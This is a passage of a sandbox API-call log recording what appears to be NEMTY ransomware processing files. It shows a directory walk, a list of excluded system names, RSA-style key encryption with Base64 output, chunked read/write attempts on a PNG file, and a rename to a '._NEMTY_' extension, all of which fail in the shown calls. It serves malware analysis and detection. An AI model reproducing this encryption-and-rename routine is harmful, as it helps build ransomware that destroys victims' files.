lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-backglow.png", lpUsedDefaultChar=0x0) returned 29 [0076.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0076.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0076.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-backglow.png", lpUsedDefaultChar=0x0) returned 29 [0076.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0076.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0076.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0076.505] Sleep (dwMilliseconds=0x5) [0076.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe140fd10, dwHighDateTime=0x1d561e7)) [0076.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe140fd10, dwHighDateTime=0x1d561e7)) [0076.516] GetLastError () returned 0x5 [0076.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.516] GetLastError () returned 0x5 [0076.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0076.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0076.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0076.516] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0076.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0076.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="esyJV559DiTmhhBH9v0YxzwxgODnOMarNoM9WKHWpCT7mksXszEvCG7JM2/EYpDP\r\naOyN5ViCAh8K7nlbQJWd5jDZLfRIxYII3HIfnKgpPIEN0RZeRUX8u3lgIhS5T3cV\r\nyaweENMzaJL12SWn5+tT47hf3ETiwRcODLfRsnV0OwXrR412WHnXsJ9PYLFqZGqk\r\nX6BghwlOsTgHnE7Q7NaxroDPUnXnmg5UW1zGm+RNO8rnV5zerNwDlSD5t14UL1bs\r\ndmfJAmYqUWoTWVmcKzEnCjTt0clCorPY5xHnJHdolfdm8qkGDBnW9tOymkJ4ryAK\r\ne4xIK7YeiSj51OddjZ+uAg==\r\n", pcchString=0x653e91c) returned 1 [0076.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0076.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0076.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0076.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0076.517] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0076.517] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0076.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0076.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0076.625] CloseHandle (hObject=0xffffffff) returned 0 [0076.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0076.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0076.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0076.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0076.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0076.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0076.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.625] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png._nemty_kgobjgd_")) returned 0 [0076.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0076.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0076.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0076.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0076.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0076.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0076.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0076.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.626] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2=".") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="..") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="...") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="windows") returned -1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="$RECYCLE.BIN") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="rsa") returned -1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="NTDETECT.COM") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="ntldr") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="MSDOS.SYS") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="IO.SYS") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="boot.ini") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="boot.ini") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="AUTOEXEC.BAT") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="ntuser.dat") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="desktop.ini") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="CONFIG.SYS") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="RECYCLER") returned -1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="BOOTSECT.BAK") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="bootmgr") returned 1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="programdata") returned -1 [0076.626] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="appdata") returned 1 [0076.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0076.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-border.png", lpUsedDefaultChar=0x0) returned 27 [0076.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0076.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0076.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-border.png", lpUsedDefaultChar=0x0) returned 27 [0076.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0076.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0076.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-border.png", lpUsedDefaultChar=0x0) returned 27 [0076.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0076.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0076.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-border.png", lpUsedDefaultChar=0x0) returned 27 [0076.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0076.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0076.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0076.627] Sleep (dwMilliseconds=0x5) [0076.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1540810, dwHighDateTime=0x1d561e7)) [0076.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1540810, dwHighDateTime=0x1d561e7)) [0076.641] GetLastError () returned 0x5 [0076.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.641] GetLastError () returned 0x5 [0076.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0076.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 